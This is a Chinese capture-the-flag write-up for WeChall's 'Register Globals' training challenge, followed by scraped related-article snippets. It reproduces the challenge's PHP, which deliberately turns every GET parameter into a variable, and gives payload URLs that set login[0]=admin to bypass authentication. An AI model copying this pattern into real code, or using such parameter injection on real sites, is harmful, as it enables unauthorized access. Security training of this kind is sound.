WeChall_Training: Register Globals
Training: Register Globals
中文翻译:
源码:
<?php
chdir('../../../../');
define('GWF_PAGE_TITLE', 'Training: Register Globals');
require_once('challenge/html_head.php');
if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE))) {$chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 2, 'challenge/training/php/globals/index.php');
}
$chall->showHeader();GWF_Debug::setDieOnError(false);
GWF_Debug::setMailOnError(false);# EMULATE REGISTER GLOBALS = ON
foreach ($_GET as $k => $v) { $$k = $v; }# Send request?
if (isset($_POST['password']) && isset($_POST['username']) && is_string($_POST['password']) && is_string($_POST['username']) )
{$uname = GDO::escape($_POST['username']);$pass = md5($_POST['password']);$query = "SELECT level FROM ".GWF_TABLE_PREFIX."wc_chall_reg_glob WHERE username='$uname' AND password='$pass'";$db = gdo_db();if (false === ($row = $db->queryFirst($query))) {echo GWF_HTML::error('Register Globals', $chall->lang('err_failed'));} else {# Login success$login = array($_POST['username'], (int)$row['level']);}
}if (isset($login))
{echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));if (strtolower($login[0]) === 'admin') {$chall->onChallengeSolved(GWF_Session::getUserID());}
}
else
{?>
<form action="globals.php" method="post">
<table>
<tr><td><?php echo $chall->lang('th_username'); ?>:</td><td><input type="text" name="username" value="" /></td>
</tr>
<tr><td><?php echo $chall->lang('th_password'); ?>:</td><td><input type="password" name="password" value="" /></td>
</tr>
<tr><td></td><td><input type="submit" name="send" value="<?php echo $chall->lang('btn_send'); ?>" /></td>
</tr>
</table>
</form>
<?php
}# EMULATE REGISTER GLOBALS = OFF
foreach ($_GET as $k => $v) { unset($$k); }require_once 'challenge/html_foot.php';
?>
解题思路:
核心代码:
if (isset($login))
{echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));if (strtolower($login[0]) === 'admin') {$chall->onChallengeSolved(GWF_Session::getUserID());}
}
else
{
这里我们只需要使$login存在并且login[0]=admin,即可完成绕过。
Payload如下:
www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin
或者
www.wechall.net/challenge/training/php/globals/globals.php?login[]=admin
两者等价
成功示意图:
WeChall_Training: Register Globals相关推荐
- php5.3 register_globals,在PHP 5.3中PHP寄存器全局支持?(PHP register globals support in PHP 5.3?)...
在PHP 5.3中PHP寄存器全局支持?(PHP register globals support in PHP 5.3?) 我一直在使用PHP 5.2并使用register_globals ON. ...
- php中的Register Globals
参考: http://php.net/manual/zh/security.globals.php 转载于:https://www.cnblogs.com/xyhacker/p/10019780.ht ...
- php7 globals,使用 Register Globals - PHP 7 中文文档
Warning 本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除. 可能 PHP 中最具争议的变化就是从 PHP » 4.2.0 版开始配置文件中 PHP 指令 [regist ...
- php http_get_vars,$_GET($HTTP_GET_VARS)和$_POST($HTTP_POST_VARS)的区别
HTTP POST 变量:$_POST 注: 在 PHP 4.1.0 及以后版本使用.之前的版本,使用 $HTTP_POST_VARS. 当然,现在普遍是PHP5了,一般都不用这样的写法 如果要兼容P ...
- 20步打造最安全的Nginx Web服务器
Nginx是一个轻量级的,高性能的Web服务器以及反向代理和邮箱(IMAP/POP3)代理服务器.它运行在UNIX,GNU/Linux,BSD各种版本,Mac OS X,Solaris和Windows ...
- PHP 获取当前类名、方法名、URL地址
1.PHP获取当前类名.方法名 __CLASS__ 获取当前类名 __FUNCTION__ 当前函数名(confirm) __METHOD__ 当前方法名 (bankcard::con ...
- PHP获取 当前页面名称、主机名、URL完整地址、URL参数、获取IP
$URL['PHP_SELF'] = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : (isset($_SERVER['SCRIPT_NAME ...
- php数组为什么其他语言,PHP语言特性和各版本的差异
PHP语言简介 PHP 独特的语法混合了 C.Java.Perl 以及 PHP 自创新的语法. 它可以比 CGI或者Perl更快速的执行动态网页.用PHP做出的动态页面与其他的编程语言相比,PHP是将 ...
- PHP 手册 参考文档
PHP 手册 by: Mehdi Achour Friedhelm Betz Antony Dovgal Nuno Lopes Hannes Magnusson Georg Richter Damie ...
最新文章
- 如何优雅地根治null值引起的Bug!
- zabbix 自动注册发现
- HTML5 手机端动态适配
- 企业微信提示服务商未响应请求,将无法获取用户事件回调
- 我圣贤为何发起第三方插件商店和桌面应用商店?
- nimbus java_Java:Swing使用Nimbus皮肤
- vs2012搭建gtest环境
- 【CSS3】-webkit-margin-before与margin-top
- C语言高级编程:接续符‘\‘的用法
- 经典语句,看看让心灵宁静
- PyQt5教程(三)——布局管理
- vlan 优科r500_ruckus 常用配置方法
- RAPIDXML 中文手册,根据官方文档完整翻译!
- linux搭建虚拟ftp,linux下搭建ftp服务器(虚拟用户)
- 孪生支持向量机基本原理
- Markdown 常用数学符号和公式
- c语言错误中numeric,LC_NUMERIC
- 一条校招/社招潜规则~
- [kubernetes]-weave scope初体验
- Look Into Person数据集的错误!!